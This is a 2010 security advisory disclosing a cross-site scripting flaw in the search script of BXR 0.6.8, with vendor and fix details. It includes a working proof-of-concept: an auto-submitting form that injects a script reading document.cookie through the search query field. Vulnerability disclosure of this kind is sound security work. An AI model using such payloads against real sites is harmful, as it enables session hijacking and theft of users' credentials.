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XSS vulnerability in BXR search
From: advisory () htbridge ch
Date: Thu, 5 Aug 2010 15:52:05 +0200 (CEST)

Vulnerability ID: HTB22505
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_bxr_search.html
Product: BXR
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr ) 
Vulnerable Version: 0.6.8 and Probably Prior Versions
Vendor Notification: 22 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the /search/show_results script to properly sanitize user-supplied input in 
"search[query]" variable. Successful exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/search/show_results"; method="post"  name="main" >

<input type="hidden" name="search_type" value="filename" />
<input type="hidden" name="search[query]" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Find!" />

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version


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